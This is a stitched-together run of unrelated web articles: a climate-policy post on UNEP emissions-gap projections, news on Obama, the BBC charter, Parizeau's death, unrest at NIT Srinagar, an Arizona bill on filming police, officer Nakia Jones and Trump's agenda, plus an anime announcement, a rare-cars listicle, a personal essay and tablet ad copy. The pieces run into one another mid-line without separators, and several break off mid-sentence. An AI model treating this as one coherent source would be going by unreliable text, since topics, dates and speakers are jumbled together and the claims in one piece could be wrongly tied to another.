UNEP provides a slightly more optimistic assessment of the situation. The authors of this report note that peaking global greenhouse gas emissions near current levels globally by 2020 and then reducing them to less than half of current levels through 2050 has about a 66 percent chance of limiting warming this Century to below 2 C (hitting around 1.8 C by 2100). But this assessment may be rather optimistic considering that we will still hit in the range of 450 ppm CO2 and 550 ppm CO2e by mid Century which would be enough, according to our understanding of paleoclimate sensitivities, to hit between 1.9 and 2.2 C from CO2 warming alone and between 2.5 and 3 C from the total warming effect of all CO2 equivalent gasses.
(According to UNEP’s most recent Emission’s Gap report, the world is currently on track to warm by a catastrophic 3-7 degrees Celsius above 1880s levels through 2100. The most aggressive current policy commitments on the books, if implemented, would drop that warming to a still catastrophic range of 3-4 C this Century. Clearly, we need to be far more aggressive if we want to have any hope of avoiding 2 C warming this Century. Image source: UNEP — Emissions Gap.)
Unfortunately, regardless of which climate sensitivity estimation ends up being correct, current carbon emission reduction commitments by countries around the globe (called INDCs for Intended Nationally Determined Contribution) will almost certainly result in overall increasing rates of carbon burning through at least 2030. According to UNEP, even the present most aggressive carbon burning reduction commitments will increase global CO2e emissions from the present level of 52.7 billion tons per year to between 54 and 59 billion tons per year by 2030. Such an emissions rate would result in atmospheric CO2 levels at around 435 parts per million by 2030 and 530 parts per million CO2e by the same time. This would, in the paleoclimate based sensitivity context we use, lock in 1.8 to 2.1 C warming by the end of this Century under CO2 forced warming alone. The CO2e levels by 2030 imply warming this Century in the range of 2.25 C.
What we read from this is that the currently most aggressive INDCs will almost certainly lock in a catastrophic rate of 2 C warming by the end of this Century as early as 2030. Through 2100, the UN’s own report is not at all sanguine:
Full implementation of unconditional INDC results in emission level estimates in 2030 that are most consistent with scenarios that limit global average temperature increase to below 3.5 °C until 2100 with a greater than 66 per cent chance. INDC estimates do, however, come with uncertainty ranges. When taking this into account the 3.5 °C value could decrease to 3 °C or increase towards 4 °C for the low and high unconditional INDC estimates, respectively. When including the full implementation of conditional INDCs, the emissions level estimates become most consistent with long-term scenarios that limit global average temperature increase to 3-3.5 °C by the end of the century with a greater than 66 per cent chance.
In other words, according to UNEP, we’re on a path to hitting around 600 to 750 ppm CO2e by 2100 even under the most aggressive current policies and an extraordinarily catastrophic 6-7 C+ long term warming of the global climate.
A Base Refusal to Respond Rapidly Enough
Why are global commitments falling so far short of what needs to be done? It’s true that the challenge is extraordinary. But considering the amazing danger involved it is absolutely amoral to fail to respond.
From the policy standpoint it boils down to the fact that we are still institutionally committed to burning fossil fuels and to using those fuels as a mechanism to increase rates of economic growth. It’s a failed assumption based on the fact that at some point fossil fuel driven growth implodes the planetary life support and kinder, gentler climate systems upon which all economies essentially rely. But since this old way of growing economies has worked for centuries, and since that old growth regime has generated a number of extraordinarily wealthy and well entrenched power bases, many policy makers are unable to look beyond what amounts a vastly amoral growth paradigm based on carbon emissions.
Many nations, including the most developed nations of the world still plan to build new coal, gas and diesel electric power plants. Many nations still favor fossil fuel based vehicular transportation over the more easily electrified and converted to renewable mass transit. Many nations have lackadaisical policies when it comes to transforming vehicular transportation to electricity and other non fossil fuels. And many nations are politically paralyzed due to a portion of their leadership being controlled or strongly influenced by fossil fuel based corporate interests.
It’s a crisis of leadership and one that’s manifest in the weakness of COP 21’s carbon emission reduction commitments. For though COP 21 will likely see some of the most aggressive greenhouse gas reduction policy measures ever put in place, as we have noted above, those policies will not be anywhere nearly aggressive enough to meet the global community’s stated goal of keeping warming under 2 degrees Celsius this Century.
As case in point to the essential disconnect, a comment submitted by dnem (a regular poster here) to the Diane Rehm show, which recently hosted Joe Romm of Climate Progress in a discussion focusing on the Paris Climate talks, raised this key question:
Call me cynical, but it appears that these talks have been ‘pre-engineered’ to achieve a very modest and in all likelihood inadequate accord. They will not collapse in failure like the previous meeting in Copenhagen, but they will not come close to achieving what needs to be done. As long as we remain addicted to economic growth as the world’s primary organizing principle, we will not be serious about addressing our essential problems.
According to dnem, Joe Romm’s response — “absolutely correct” — as well as the second sentence highlighted above fell to the cutting room floor before the show aired. However, the question of how we reconcile current understandings of economic growth with the absolute necessity of responding to climate change is an essential one. The question being, that we will need to all (especially the wealthiest among us) make sacrifices in order to reduce the impact of a disaster of global scale. One possibly never before seen on the face of the Earth. We may need to think, not in terms of wealth accumulation and traditional growth, but in terms of lives saved and quality of life preserved. And many of those among us who see the world through the context of only what goes up and down on the global stock markets appear to be amazingly ill-prepared to make this all-too-necessary cognitive leap.
The sacrifices, instead, are now not just being measured in dollars and cents, but in nations under threat of collapse, by an expanding number of people displaced or at risk of falling into poverty, in lives lost and species going extinct, in the future anguish and struggles of the still unborn and of those children now being born today. By those poor creatures who will be forced to attempt to survive in a world we’re in the process of ruining. And by those of us unfortunate enough to live beyond the next 1-2 decades and to start to see some of the worst effects of the horrific climate change we are now committing ourselves to.
Links:
UNEP — Emissions Gap
Pliocene Climate
Delivering on 2 C — Evolution or Revolution?
World Headed Toward Suicide Without Climate Agreement — Pope Francis
Climate Progress
Definition of INDC
Hat tip to dnem
Hat tip to Colorado Bob
Hat tip to DT Lange
AdvertisementsPresident Barack Obama signaled if he wins a second term he would appoint a Secretary of Business to oversee newly-consolidated government agencies, including the Small Business Administration, and predicted “a war” will break out within the Republican Party after the Nov. 6 election.
“We should have one Secretary of Business, instead of nine different departments that are dealing with things like giving loans to SBA or helping companies with exports,” Mr. Obama said in an interview that aired Monday on MSNBC. “There should be a one-stop shop.”
Mr. Obama blamed Congress for such consolidation not happening during his first term because lawmakers have been “very protective about not giving up their jurisdiction over various pieces of government.” But the president has done little to push the idea himself.The July issue of Kodansha's Afternoon magazine is announcing on May 25 that a television anime adaptation of Haruko Ichikawa's Land of the Lustrous ( Hōseki no Kuni ) manga has been green-lit.
The manga's story takes place in the distant future, where a new life form called "hōseki" (gems) is born. The 28 gems must fight against the "tsukijin" (moon people) who want to attack them and turn them into decorations, so each gem is assigned a role such as a fighter or a medic. Phos is a gem who hopes to fight the moon people, but is given no assignment until the gems' manager asks Phos to edit a natural history magazine.
Ichikawa launched Land of the Lustrous in Kodansha's Afternoon magazine in 2012. Kodansha Comics plans to release the first volume in English this summer. Kodansha will publish the manga's seventh compiled volume in Japan on May 23.
The manga series ranked at #10 on Kono Manga ga Sugoi!'s "Top 20 Manga for Male Readers" list in 2014, and it was also nominated for the eighth Manga Taisho awards in 2015.Pin 8 Reddit 391 Shares
The rarest cars in the world each have a story. These unique cars add to the incredible history of the automotive industry and fuel the dreams of car lovers everywhere. These super rare cars aren’t just hard to find; some are among the most expensive cars in the world! Find out more about the interesting stories behind these 10 rare cars and how they’ve contributed to the history of the auto industry.
10. 1957 Jaguar XKSS
One of the most sought out classic Jags, only 16 of the 1957 Jaguar XKSS were ever made. While the first on our list, due to the comparatively larger number of cars produced, this by no means indicates a lesser value or cost. These rare classic cars were first sold in the 50s and went for about $5,000. Now, of course, we know that today it is worth far more than its original price in 1957. As of 2014, the estimated value of the Jaguar XKSS owned by Steve McQueen’s is $30 million. So, while there may have been a larger amount made, it is possibly one of the most rare expensive cars as well for now. With recent news that Jaguar is producing nine more XKSS’s it is possible the estimated value of the XKSS might go down.
The story behind the making of the XKSS begins with the iconic Jaguar D-Type. Faced with a problem of what to do with the remaining 29 unsold D-Types back in the 50s, Jaguar went forward with the idea of transforming the Jaguar D-Types into road going sports cars. The D-Type was relatively easy to modify into a XKSS and it only took three days to complete the first prototype. One of the many features of the D-Type that remained was the 3.4 liter racing engine with 250 bhp.
The already small production of the XKSS became even smaller after a fire broke out in the factory in 1957, destroying the remaining XKSS’s in production at James Lane; and therefore, only 16 were ever made.
9. 1948-1950 Aston Martin 2-liter Sports DB1
While Aston Martin is infamous for luxury cars and the DB5’s appearance on the big screen in the James Bond movies, Goldfinger and Thunderball, it is also the manufacturer of one of the rarest sports cars in the world: the Aston Martin DB1.
This rare luxury car was the first car of the DB series, named after Sir David Brown, the owner of a tractor manufacturer company who purchased Aston Martin in 1947. The DB1 is also known as the Aston Martin 2-liter Sports and the idea and foundation for the series derived from the Aston Martin Atom; a prototype developed in 1939.
The name is indicative of its 2-liter inline four engine, which gives it a horsepower of 90 and a top speed of 93 mph. The car was only manufactured for two years, from 1948 to 1950 and Aston Martin only built a total of 15 DB1s. Even harder to find is the actual worth of these very rare cars. With so few of them out there, the only one that has been recently sold was in poor condition with an estimated value of just over $120,000 USD and does not indicate the worth of a well-kept Aston Martin DB1.
8. 1948-1951 Talbot-Lago T26 Grand Sport
Next up, a famous post-war car remembered not only for its luxury and speed, but also its rarity within the automotive world with only 12 ever manufactured. The car is equipped with a 4.5-liter 6 cylinder engine and, for its time, was considered one of the most powerful cars in the world. It has 190 bhp and an approximate top speed of 125 mph based on body style. This rare sports car also finds its place in history as the racecar that Louis Rosier drove when he won the Le Mans 24 Hour Race in 1950.
Bought by Simca in 1958, the GS’s rarity is only amplified as it is one of the last cars ever produced by the company. Simca later bought by Chrysler Europe in 1970. The rare car is worth an estimated $2.5 million.
7. 1971 Plymouth Hemi ‘Cuda Convertible
Moving forward in automotive history, here we have the very rare, but surprisingly very average, ‘71 Hemi ‘Cuda Convertible. Compared to the previous two rare old cars, there is nothing overly luxurious or notable about this muscle car. But, while the ‘Cuda may not appear be anything remarkable from its specifications, it is highly sought out by baby boomer car enthusiasts who willing to fork over hefty amounts to own one of the 11 Plymouth’s from 1971.
As there were just under a dozen built in 1971, it is very seldom that we see this car being sold; making it certainly one of the rarest muscle cars. But In January 2013, the rare Plymouth went for $1,320,000 at Barrett-Jackson Scottsdale. However, just one year later at the Mercum Auctions the ‘Cuda sold for even higher, after a lively 8 minute bidding war, for $3.2 million. At that price even the “average” muscle car seems pretty remarkable after all.
6. 1905 Rolls-Royce 15 HP
Now, taking it back in time, to very early years of automotive manufacturing, to a very old and very rare antique car: The Rolls-Royce 15 HP. Not only is this car the second oldest surviving Rolls-Royce in world, but it is also one of the rarest cars ever made by Rolls Royce. Even more impressive is the last 1905 Rolls Royce 15HP in existence is still running.
The vintage Rolls-Royce has a 2-door style saloon body style and is equipped with a 3 speed manual gearbox and a 3.1-liter engine with 15 hp (as the name indicated.) It is capable of going up to 39 mph. This power and top speed was a huge feature in the early 20th century. Only six were built and the first one made its debut at the 1904 Paris Salon.
With this kind of reputation and seniority, we can only imagine the price tag on this rare vintage car. This appraised replacement value for this Rolls-Royce is $35 million.
5. 1954 Packard Panther-Daytona Roadster
Shifting gears, moving forward and down the list, the numbers keep getting smaller! For this two-seater roadster, only four were ever built and rolled off the assembly line. Originally named “The Grey Wolf II”, Packard thought it best to go with the alternative name “Panther” to commemorate Packard racer of 1903-04. The design of the concept car is no ordinary body style; its one-piece molding is made completely out of fiberglass. Its engine is a straight-8 paired with an automatic 2-speed transmission. The roadster has 212 hp and a top speed of 131 mph. At the 2013 Barrett-Jackson auction, the concept car went for a respectable $825,000.
4. 1967 and 1970 Dodge Coronet R/T Hemi Convertible
Another American-made rarity, only four Dodge Coronet Convertibles were manufactured: two in 1967 and two in 1970. These Dodges are nearly impossible to get your hands on, if you ever had enough cash to pay for one of these rare expensive cars, of course.
All four are equipped with a V8-engine. The 1967 model was the first year in which the R/T (Road and track) was available for this Dodge Coronet. The Dodge upped the ante for the 1970 model now the Coronet Convertible had a whopped 425 HP which was quite impressive for its time.
Even though these Coronets may not be as extraordinary in comparison to say the Jaguar XKSS or Aston Martin 2-liter Sports, the rarity is its major selling point, appealing to and intriguing rare car collectors. It has been sold for upwards of $150,000 during auctions quite a few times. Might not be one of the most expensive cars out there, but hold its place as one of the rarest cars in the world.
3. 1954 Oldsmobile F-88 GM Concept Car
Another vehicle from 1954 that’s hard to come by is the 1954 Oldsmobile F-88. While the Oldsmobile F-88 series, on the whole, is not especially rare, the 1954 year of F-88s, is a different story. Only four were built and left the factory in that year and only one still exists.
So what’s the story behind this rare classic car? The F-88 was a pet project of famous American auto designer, Harley Earl. Also known as the XP-20 project, the four 2 door roadster style cars are equipped with 5.3 liter Super 88 V8 engine and have 250 hp to boot. The last surviving F-88 went up for sale at the 2005 Barrett-Jackson auction in Scottsdale and sold for $3.3 million.
2. 1996 Ferrari F50 GT
This list would not be complete without at least one of the many rare Ferraris we love. The 1996 Ferrari F50 GT was originally meant for racing against the likes of Porsche and Mercedes in the BPR Global GT Series. Unfortunately, the F50 project was quickly cancelled as its rivals upped their game, making the Ferrari F50 inferior in terms of racing performance and design. Only 3 of these rare sports cars were ever made: one prototype and two to be sold. Even though it never made it to the race track, the 1996 Ferrari F50 GT has made it into the hearts of enthusiasts and rare car collectors.
The rare supercar has a solid 4.7-liter V12 engine boasting 750 bhp, hits 0-60 in an astounding 2.9 seconds, and has a top speed of a roaring 235 mph. In 2013, the asking price was $2.9 million, which is pretty reasonable, considering there are only three in the world.
1. 2005 Maybach Exelero
Probably the most recent of rarities in the automotive industry, the 2005 Maybach Exelero is the last on our list and it costs $8 million out of the factory.
Yes; you read that right. The Exelero costs a whopping $8 million and there is only one in the world today. This extraordinarily rare, expensive car was originally a one-of-a-kind supercar for Fulda, a German tire company. In 2005, it became available for public purchase. Now, with the Maybach having the unbelievable price tag that it does, the word “public” really refers to the very rich and the very elite.
As for the specs on the Exelero, there are just as impressive as its price tag. The car weighs 5863 lbs. (2.9 tons) but, with its V12, twin turbo engine with 700 hp, it maxes out at a rocket-like speed of 218 mph and hit 0-62 mph in 4.4 seconds.
Back in 2011, rapper Birdman (also known as Baby) purchased the vehicle, but couldn’t pay for it up front, so it remains the property of the property of the European automaker with no confirmation of a new purchaser.
Each one of these rare cars has its unique story and place in automotive history. While we have listed quite a few, there are more out there with their own stories, own intrigue, and of course worth millions.
Did you like this post? Then you’ll love:Mr Hunt said he had not decided the timing of changes to BBC governance A Conservative government could "rip up" the BBC's royal charter, the shadow culture secretary has suggested. The current royal charter allowing the BBC's licence fee expires in 2015. But Jeremy Hunt told the Financial Times that the corporation was "out of touch with the hard times the rest of the electorate is going through". He said the BBC's structure had "failed", adding that Tories in power would have a "very fundamental root-and-branch discussion with the BBC". 'Cheerleader' Mr Hunt said he had not made any decisions about the timing of any changes to the BBC's governance. But he said he would replace the current BBC Trust which he said acted as both cheerleader and regulator. "We are looking into whether it would be appropriate to rip up the charter in the middle of it, or whether one should wait," he added. Mr Hunt said the Tories would scrap plans in the government's digital Britain bill for a 50p-a-month tax on all telephone lines to help pay for superfast broadband access across the UK. He would also end proposals to require the BBC to share about £130m from the licence fee with other broadcasters. Mr Hunt added that he wanted to improve the market for commercial TV in the UK by deregulation, rather than by spending taxpayers' money. He said he wanted to ensure that the BBC's dominance did not stifle the commercial sector. Offering an example, he said: "It might sound well and good for them to have, say, an angling website, but if it drove out of business every angling magazine in the country, you would have to question if it was the right sort of thing to do."
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StumbleUpon What are these? E-mail this to a friend Printable versionCanadian government flags across Quebec will fly at half-staff to honour former sovereignist Quebec premier Jacques Parizeau, iPolitics has learned.
Officials in the Canadian Heritage department confirmed that Canadian government flags will be ordered to half-staff from now until the day of Parizeau’s funeral.
“As per the Rules for Half-masting the National Flag of Canada (Section 10), flags on all Government of Canada buildings and establishments in the province of Quebec will be flown at half-mast from now until sunset on the date of the funeral (date to be confirmed), to mark the passing of the late Mr. Jacques Parizeau, who passed away on June 1, 2015,” the department said in an e-mailed response.
The move by the Canadian government comes after the Quebec government ordered the flag on the National Assembly to be flown at half-staff to mark Parizeau’s passing.
Premier Philippe Couillard announced that the Quebec government has offered Parizeau’s family a state funeral — which they have accepted — and will rename the Montreal headquarters of Quebec’s Caisse de Dépot et Placement pension fund, which Parizeau helped create, in his honor.
Parizeau’s death Monday at age 84 left few people indifferent.
While Parizeau, a former Quebec finance minister, was one of the architects of many elements of Quebec’s economic transformation during the Quiet Revolution, he will also be remembered as the sovereignist leader who came within one percentage point of winning a 1995 referendum that could have led to Quebec’s separation from the rest of Canada. His speech that night, in which he blamed “money and ethnic votes” for the loss, led to his resignation as premier the following day.
However, under Canadian government flag protocols, the minute a province decides to half-staff a flag, the federal government is supposed to follow suit.
Reaction from many Canadian political leaders Tuesday was varied.
NDP Leader Tom Mulcair, who went toe to toe with Parizeau many times in Quebec’s National Assembly, described Parizeau as a “statesman.”
“He was a statesman who spent his life working in the best interest of the population,” Mulcair told reporters. “I know very few people who dedicated their lives as much as he did to serve the overall population well.”
Mulcair pointed out that in the first PQ government under former Premier René Lévesque, Parizeau contributed to a number of progressive initiatives including the creation of Quebec’s automobile insurance fund, Quebec’s Caisse de Depot pension fund and Quebec’s anti-scab law which was born out of violent labor conflicts that marked the province’s history.
Liberal Leader Justin Trudeau — whose father, former prime minister Pierre Trudeau, was a contemporary of Parizeau’s — focussed on Parizeau’s intellect and public service.
“He was always a formidable intellect, a person who was profoundly passionate about Quebec,” Trudeau told reporters. “I wasn’t at all in agreement with him in ’95 and at other moments but I always had enormous respect for him.”
Prime Minister Stephen Harper tweeted his condolences. “On behalf of all Canadians, Laureen & I extend our deepest condolences to the family & friends of former Premier Jacques Parizeau.”
With files from James Munson
[email protected]She broke down over phone, scared for her life and honour in NIT Srinagar hundreds of kilometers away from the safety of her home in Uttar Pradesh.
"Local Kashmiri students are threatening us - outstation girl students - with rape and molestation. Yesterday, a group of Kashmiri students walked up to me and said: 'Ek ke saath rape hoga to sab thande pad jaoge' (If one of you gets raped, the rest will fall silent)," said the student, whose name we are withholding so that she does not face reprisals.
"God was kind and Kashmir (J&K) Police brutally assaulted the non-Kashmiri male students on Monday. Had there been girls, they too would have been thrashed like the boys. Why did the police and the college administration treat us like animals?"
This is perhaps the first time the Modi government is facing intense criticism from many of its own avid supporters. Angry online campaigns raged throughout the day; the students posted videos of police action on Facebook and Twitter, and Modi's opponents like Delhi CM Arvind Kejriwal asked if the BJP government had different standards for patriots in the rest of India and the ones in Kashmir.
The BJP-ruled Centre and PDP-BJPruled state officials downplayed the matter. "The students are overreacting. Their parents have requested the government to not let their children venture out of the campus as the situation is sensitive and tense. But they don't want to listen. God forbid if something untoward happens to any student, things may go from bad to worse, not just here but across the country," said a central government source.
Emotions on the campus seem very different. "I have no confidence in the state government as well as the Narendra Modi government and the HRD ministry. If it happened once, it will happen again. They have failed to protect us. They are trying to portray that all is normal when it is not," another NIT girl student told Mail Today.
And while government officials say that the students pushed around senior police officials before the cops acted, a final-year BTech student of NIT Srinagar from Delhi said there was no provocation. "The police thrashed us like dogs. Pakistani flags were flown all over the campus even as non-J&K students are in majority. This is nothing new; this had been happening since long. This time it has come out in the open, thanks to social media. There are two hostels adjoining the boundary of the college, beyond which lies a local neighbourhood. The night we objected to celebrations of India's defeat in T20 World Cup semifinal, these people from beyond the wall started pelting stones at the hostel," he said.
Students claimed that the college administration had severed the internet connection to the campus after the post-match incident on Friday, cutting off students' online activities. "Mobile phones were the only way we have been organising our protest and showing India what happened here. The internet connection was restored only when the MHRD team landed here," a student said, requesting anonymity.
He said that while they convinced the college administration that they needed to buy essential commodities from outside, the real intent was to contact the media camped outside the main gate. "We were beaten not because we did anything wrong; the J&K Police feared that the truth will come out. Not that it mattered, because the local media is now portraying us as villains," he said.
Violence
"Lathi charge is to break violence. Our students were staging a silent sit-in at the gate. They were hit in the head. A student who suffered a lathi blow to his ear is now unable to hear. He has not told this to his parents out of fear and shame," a girl student said.
The non-Kashmiri students are also blaming the college administration for condoning anti-national activities on campus. "While outstation students are in majority, the college officials and the teaching staff have been encouraging such antinational activities," the Delhi student said.
Social networks, meanwhile, have turned into a battleground. "We are being threatened on Facebook and Twitter. Kashmiris are daring us to come out of the college gate with the Indian flag," said a student. The affected students have also formed an FB page 'Save the students of NIT Srinagar' and are posting photos and videos of the incidents, the authenticity of which could not be verified, though they claim several fake pages too have been formed to post misleading news.
Several videos of supposed police overreaction that this FB page hosts show indiscriminate caning of students and injuries sustained by them.
The MHRD rushed a twomember team to review the situation and engage with |
The Essay is a daily personal piece submitted by readers. Have a story to tell? See our guidelines at tgam.ca/essayguide.
I'm not sure when my profound sense of guilt was "built" into my brain, but somewhere along the path of life I was bestowed with a very strong sense of feeling badly when I wasn't doing things the way I felt they should be done.
A forgotten birthday card or unreturned e-mail has been known to keep me awake at night. And while I admit that my overactive guilty conscience could be taken care of with a little more planning and less procrastination, I often feel trapped by the mysterious standards that demand we all behave in a relatively timely, civil and expected manner. Is it possible to live a guilt-free life?
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It was with this heightened sense of wrong- and right-doing that I headed to Disney World with my family last March Break. My wife and our two sons were looking forward to a few days of theme-park fun amid the hordes of sun-soaking vacationers. To deal with the hordes, we had in our hip pocket a secret weapon – one that would propel me past the sanity-sapping lines, but headlong into a very personal and, of course, guilt-inspired epiphany.
You see, our younger son has Asperger's syndrome, and it had come to our attention that we could visit guest services at the parks and receive a pass that would send us to the front of the line for all rides. In the past our son had, in fact, managed to endure lineups that would bring a "neurotypical" adult to his knees. But on other occasions, he had declared at the top of his lungs that not only were we the worst parents ever, but that anyone who wanted to go on this ride was an idiot.
Clearly, it could go both ways – but did this developmental and mostly invisible disability truly merit an express pass to the front of the line?
Though on one hand the Disney offer seemed like manna from heaven, I couldn't help feeling I was taking advantage of my son's condition.
My guilt was compounded when the four of us, all able-bodied, lined up alongside the wheelchairs of some clearly ill and suffering children. Almost as bad were the stares of hundreds of people waiting in the regular line as we jumped the queue – sometimes right onto a waiting car on the roller coaster. Who were we and how did we rate special treatment?
Thankfully, staff at the parks never questioned us, always simply scanning our pass and greeting us with a cheery "Right this way." If they had shown any hesitation, it might have sent my guilty conscience into a time-warping tailspin, reconnecting me to the red-faced days of getting caught underage at the beer store.
But as the days unfolded, and lineups were leaped with every flash of our pass, I began to let go of my anxiety about breaking the rules of what I imagined was normal behaviour.
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Ever since my son was diagnosed, I have fought the idea that we are not capable of leading a "normal" life, and I have imposed upon him and my family the expectation that, despite his condition, we would operate the way any other family of four should.
We could go to theme parks, but we would stand for hours in line because we needed to earn the chance to ride like everybody else. Because if I started to admit that maybe we needed some help in that process, if I was willing to accept an acknowledged bending of the rules, that would only confirm an autism diagnosis that I was more than happy to deny.
But as much as I wish our lives to be normal – without aid or intervention – that wishing only creates a greater sense of disappointment and stress when things come off the rails. When my son screams bloody murder at being substituted in house-league soccer, and my wife wrestles him off the pitch in full tantrum, I sweatily pan the crowd, convinced some do-gooder has Children's Aid on speed dial.
After having far too many good meals go pear-shaped when the chicken fingers were not as expected, we now eat at restaurants armed with books or electronic distractions to ward off mid-meal freakouts. It's not perfect parenting by any stretch, but we are so often caught off guard with respect to the trigger that we've had to leave our parenting-school diplomas lying in tatters as we work to survive the moment.
And so it was, on one particularly sunny day last March, after a series of gloriously goofy and fun family moments, that my insidious feeling of guilt started to lift, just like my stomach on a backward-looping roller coaster. With every beautiful smile on my son's face, realization after sobering realization crept into my previously watertight world view.
Maybe it is okay to ask for help sometimes. And maybe it is okay to admit I have a son with Asperger's. And just maybe it's okay to use a pass that is designed to allow kids like mine the opportunity to enjoy the theme-park experience without being overwhelmed by lineups and crowds.
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Quite suddenly, in a place far removed from the stresses of daily life, the guilt that was forever haunting my actions subsided with the acceptance that life doesn't have to be quite so hard if we allow ourselves to be helped.
Maybe the guilt-free life starts when the need for perfection in self, and son, ends.
James Darling lives in Toronto.An Arizona state senator has proposed legislation that would restrict, and in some cases prohibit, the recording of police unless the officer has given express permission.
The bill, which was proposed last week by senator John Kavanagh, would make it unlawful to film an officer from within 20 feet, or in the same room as the officer in a private residence, and would make it a class 3 misdemeanor to continue filming after a verbal warning from police to stop.
The bill has been sharply criticised by civil rights activists and constitutional scholars.
Professor Paul Bender, the dean emeritus of the Sandra Day O’Connor College of Law at Arizona State University, who teaches US and Arizona constitutional law, said that the proposed statute, especially the first section which outright prohibits filming within 20 feet of an officer in all circumstances, was “on the face of it, unconstitutional” and “very, very problematic”.
Moreover, Bender said, the law risked “giving the cop an enormous amount of discretion to stop you photographing what the cop doesn’t want”.
“He might be doing something wrong,” Bender added. “That’s very dangerous, because a potential wrongdoer is being given the power to stop you recording – and the potential wrongdoer is a government official.”
Kavanagh told the Guardian that the purpose of his bill was “purely safety”, for two reasons: first, that a police officer could be distracted by someone filming them from within 20 feet, and; second, that if an arrest turned violent, the person doing the videotaping could be hurt. “That’s the reason it is constitutional; because our constitution says you can limit certain rights if the limit is reasonable,” he added. He also said that he planned to amend the bill to clarify that it was limited only to third-party videotaping, not people filming their own arrests or summonses.
“Any legislation that aims to take away people’s rights to record what is taking place in public is not only bad policy but also constitutionally questionable,” said Will Gaona, the policy director for the Arizona Civil Liberties Union. “Police officers have a lot of power over citizens, and limiting those citizens’ ability to document their use of that power probably leads to bad policing.”
The move comes after an 18-month period in which police abuses of power have come to the forefront of public debate, in large part because a number of cases have been captured by citizens on a phone camera. In Charleston, South Carolina, in April 2015, an officer was caught on camera shooting 50-year-old Walter Scott eight times in the back; the previous July, in Staten Island, New York, the death by chokehold of Eric Garner was also captured on a phone camera.
Police are not always happy about being filmed. In March, Kianga Mwamba filmed police officers beating a handcuffed man on her cellphone. When they saw her filming, officers forced her out of her car, Tasered her, and confiscated her cellphone. When it was returned, the video had been deleted; and she was charged with attempting to run over an officer.
It was only when she revealed that the video had been backed up to the Cloud that charges against her were dropped.Protect Your Stuff 2-year protection plan: $19.99 – $29.99 Buy Now
Now thinner, lighter, and faster - Nexus 7 brings you the perfect mix of power and portability and features the world's sharpest 7" tablet screen.
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Nexus 7 is great for gaming and with favorites like Prince of Persia, Asphalt 8, and Riptide GP 2, you can tilt, tap, and touch your way to the top. The brand new Play Games app also lets you track your achievements, play with (or against) friends and gamers around the world, and discover new exciting games. And with an ever-expanding number of tablet-optimized apps like Flipboard, Expedia, or The Fancy, you'll find all the apps you love, and love the many new apps you'll find.
Kick back with the world's largest collection of eBooks, listen to millions of music tracks with All Access, and immerse yourself in thousands of movies and TV shows on Google Play.
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The video of Nakia Jones, an officer in the Warrensville Police Department in Ohio, went live on Facebook Wednesday afternoon ― mere hours before the deadly shooting of 32-year-old Philando Castile in Minnesota. As of Thursday morning, it had over 2 million views.
Jones, a police officer since 1996 and the first black female officer in Warrensville Heights, says she “became a police officer to make a difference in people’s lives.” She shares in the video how upset she is over the footage of Sterling’s killing.
For the first time, she says, she was able to see police violence through the eyes of non-police officers.
“It bothers me when I hear people say, ‘Y’all police officers this, y’all police officers that. They put us in this negative category when I’m saying to myself, ‘I’m not that type of police officer.’ I know officers that are like me that would give their life for other people,” Jones says in the video.
“So I’m looking at it, and it tore me up because I got to see what you all see. If I wasn’t a police officer and I wasn’t on the inside, I would be saying, ‘Look at this racist stuff. Look at this.’ And it hurt me.”
A snippet of Jones’ speech, which was shared on Twitter, currently has nearly 20,000 retweets, and the response on social media to her words has been overwhelming. She did not immediately reply to a request for comment from The Huffington Post.
This is so powerful.🙌🏾 must watch. pic.twitter.com/uxtiVPKVZq — muva prissy✨ (@_OfficialPrissy) July 7, 2016
In the 7-minute video, Jones discusses gun violence and the criticism police officers receive, and denounces racist officers who work in black communities.
“If you are white and you’re working in a black community and you are racist, you need to be ashamed of yourself,” she says. “You stood up there and took an oath. If this is not where you want to work, then you need to take your behind somewhere else.”
She also calls for unity in the black community.
“Put these guns down because we’re killing each other,” she said. “And the reason why all this racist stuff keeps going on is because we’re divided. We’re killing each other, not standing together.”
Jones is in tears by the end. “Be smart. I am my brothers’ and my sisters’ keeper. That’s why I’m going to keep this uniform on.”New York (CNN) In Donald Trump's America, undocumented immigrants will be deported en masse, Arab Americans will be racially profiled and the United States will "bomb the s--- out of ISIS."
In Trump's America, foreign Muslims will be banned from the US, Syrian refugees sent back to their war-torn country and free trade agreements torn to shreds. And, of course, the US will build a "great wall" on the US-Mexico border, which Mexico will have to pay for.
In Trump's America, the US attorney general will push to indict the president's general election rival.
That's if everything goes as the Republican nominee has promised during his insurgent presidential campaign.
The newly-minted President-elect is now faced with the task of turning his hardline policy proposals into concrete legislative proposals and ultimately law. But with many of his more extreme proposals opposed even by some Republicans in Congress, Trump will face an uphill climb to implement the very proposals that drew his most ardent supporters to his insurgent campaign.
Should he succeed, though, in implementing the policies that carried him to victory in the Republican primaries and ultimately the general election, Trump would usher in a radical reimagining of the United States from its laws to its values.
Trump's very election broke a set of barriers, becoming the first billionaire president and the first to have never before served in public office or the military. And while his business experience was a key part of his appeal to a broad swath of Americans, they will also raise unprecedented questions of conflict of interest and could pose challenges to his ability to sell legislative proposals that could affect his personal bottom line.
Beyond his businessman credo, it seems voters were most drawn to Trump's promises to shake up Washington and implement radical change in every sector of government.
Obamacare
JUST WATCHED Trump: I will ask Congress to repeal Obamacare Replay More Videos... MUST WATCH Trump: I will ask Congress to repeal Obamacare 00:56
Trump has repeatedly promised to "immediately repeal and replace" Obamacare, to start. That is something congressional Republicans have been eager to accomplish, but unable to without a Republican president. But even with Trump in office, repealing and crafting a replacement for the law will be an arduous task in Congress, where Senate Democrats will fight the slim Republican majority's efforts.
It's still unclear exactly what Trump's replacement will look like. He has vowed it will be "terrific" and said it will involve knocking down state insurance lines and incentivizing the establishment of health savings accounts.
Immigration
Even as Trump has unrelentingly promised at his rallies to build a wall on the US southern border with Mexico, his plan does not yet appear to have the backing of Republican Senate Majority Leader Mitch McConnell, who repeatedly dodged a question on whether he supports the wall.
"I want to achieve border security the way that's most effective," he told CNN's Manu Raju Wednesday when asked about it.
JUST WATCHED Trump stokes immigration fears in New Mexico Replay More Videos... MUST WATCH Trump stokes immigration fears in New Mexico 02:08
The border wall proposal is just one of a slew of controversial immigration policies proffered by the real estate mogul, who launched his campaign by labeling undocumented Mexican immigrants criminals and "rapists."
He has also vowed to deport all undocumented immigrants. In the latest iteration of that policy, he focused on the deportation of criminal undocumented immigrants, but he has not forsaken his pledge to deport all estimated 11 million who currently reside here illegally.
Trade
JUST WATCHED Donald Trump slams Trans-Pacific Partnership Replay More Videos... MUST WATCH Donald Trump slams Trans-Pacific Partnership 01:16
